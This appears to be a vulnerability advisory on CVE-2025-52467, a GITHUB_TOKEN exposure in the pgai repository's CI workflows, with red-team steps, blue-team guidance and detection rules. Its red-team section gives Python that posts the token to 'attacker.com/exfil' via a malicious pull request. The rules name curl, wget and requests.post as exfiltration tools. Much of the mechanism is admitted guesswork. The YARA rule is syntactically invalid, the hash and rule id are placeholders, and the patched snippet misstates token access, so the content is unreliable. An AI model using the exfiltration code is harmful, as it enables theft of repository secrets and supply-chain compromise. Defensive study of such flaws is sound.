CVE-2025-52467

Executive Summary

CVE-2025-52467 is a critical vulnerability in the pgai Python library, which transforms PostgreSQL into a retrieval engine for RAG and Agentic applications. Prior to commit 8eb3567, the repository was vulnerable to an attack allowing the exfiltration of all secrets used in one workflow. In particular, the GITHUB_TOKEN with write permissions for the repository was exposed, allowing an attacker to tamper with all aspects of the repository, including pushing arbitrary code and releases. The vulnerability has a CVSS score of 9.1 (Critical). The patch is available in commit 8eb3567, but no official version tag has been released.

Supply Chain & Package Security

This vulnerability is critical for the PyPI ecosystem. The pgai library is distributed via PyPI, and the exposure of the GITHUB_TOKEN with write permissions could allow an attacker to compromise the entire supply chain of the package. An attacker could push malicious code to the repository, create fake releases, and potentially inject backdoors into the pgai package, affecting all downstream users.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is Critical due to the low complexity of the attack, the high impact on confidentiality, integrity, and availability, and the potential for supply chain compromise.

Deep Dive & Mechanics

The vulnerability resides in the pgai repository's CI/CD pipeline or workflow configuration. The GITHUB_TOKEN, which is automatically generated by GitHub Actions, was exposed in a way that allowed an attacker to exfiltrate it. This token had write permissions to the repository, meaning an attacker could:

1. Push arbitrary code to any branch.
2. Create and modify releases.
3. Modify CI/CD workflows.
4. Access other secrets stored in the repository.

The exact mechanism of the exfiltration is not detailed in the CVE, but it likely involves a malicious pull request or a compromised dependency that reads the GITHUB_TOKEN environment variable and sends it to an external server.

Vulnerable vs. Patched Code

Vulnerable Code (before commit 8eb3567):

The vulnerable code likely involved a workflow file (e.g., .github/workflows/*.yml) that exposed the GITHUB_TOKEN to untrusted code or did not properly restrict its usage. For example:

# Vulnerable workflow snippet
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run tests
        run: |
          # This script has access to GITHUB_TOKEN
          python -c "import os; print(os.environ['GITHUB_TOKEN'])"

Patched Code (after commit 8eb3567):

The patched code likely restricts the permissions of the GITHUB_TOKEN or uses a more secure method to handle secrets. For example:

# Patched workflow snippet
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v3
      - name: Run tests
        run: |
          # No access to GITHUB_TOKEN
          python -c "print('Running tests')"

Exploitation & Lab Setup

Red Team

Objective: Exfiltrate the GITHUB_TOKEN from the pgai repository.

Steps:

1. Identify the vulnerable workflow: Look for workflow files in the pgai repository that use the GITHUB_TOKEN with write permissions.
2. Craft a malicious pull request: Create a pull request that modifies the workflow to exfiltrate the token. For example, add a step that sends the token to an attacker-controlled server.
3. Trigger the workflow: The pull request will trigger the workflow, which will execute the malicious code.
4. Exfiltrate the token: The malicious code will send the GITHUB_TOKEN to the attacker's server.
5. Use the token: With the token, the attacker can push arbitrary code, create releases, and compromise the repository.

Example malicious code snippet:

import os
import requests

token = os.environ.get('GITHUB_TOKEN')
if token:
    requests.post('https://attacker.com/exfil', data={'token': token})

Blue Team

Objective: Detect and prevent the exfiltration of the GITHUB_TOKEN.

Steps:

1. Monitor workflow logs: Look for unusual outbound network connections from CI/CD runners.
2. Restrict token permissions: Use the permissions keyword in GitHub Actions to limit the token's scope.
3. Audit pull requests: Review all pull requests for suspicious modifications to workflow files.
4. Use GitHub's secret scanning: Enable secret scanning to detect exposed tokens.
5. Rotate tokens: Immediately rotate the GITHUB_TOKEN if a compromise is suspected.

Indicators of Compromise (IOCs)

• Network: Outbound connections to unknown IP addresses or domains from CI/CD runners.
• Logs: Unusual POST requests to external servers from workflow steps.
• Repository: Unexpected commits, branches, or releases.
• Secrets: Exposure of GITHUB_TOKEN in workflow logs or external services.

Detection Engineering

YARA Rule

rule Detect_GITHUB_TOKEN_Exfiltration {
    meta:
        description = "Detects attempts to exfiltrate GITHUB_TOKEN in CI/CD workflows"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $token = "GITHUB_TOKEN"
        $exfil = "requests.post" or "curl" or "wget"
    condition:
        $token and $exfil
}

Sigma Rule

title: GITHUB_TOKEN Exfiltration Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exfiltrate GITHUB_TOKEN in CI/CD workflows
author: Valters IT
date: 2025/04/10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        CommandLine|contains:
            - 'GITHUB_TOKEN'
            - 'requests.post'
            - 'curl'
            - 'wget'
    condition: selection
falsepositives:
    - Legitimate use of GITHUB_TOKEN in CI/CD
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"GITHUB_TOKEN Exfiltration Attempt"; flow:to_server; content:"GITHUB_TOKEN"; http_client_body; content:"POST"; http_method; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update pgai to the latest commit (8eb3567) or apply the patch manually.
2. Rotate Secrets: Rotate the GITHUB_TOKEN and any other secrets that may have been exposed.
3. Audit Repository: Review the repository for any unauthorized changes, commits, or releases.
4. Restrict Token Permissions: In GitHub Actions, use the permissions keyword to limit the token's scope to read-only where possible.
5. Monitor CI/CD: Implement monitoring for unusual outbound connections from CI/CD runners.
6. Enable Secret Scanning: Use GitHub's secret scanning to detect exposed tokens.

Valters IT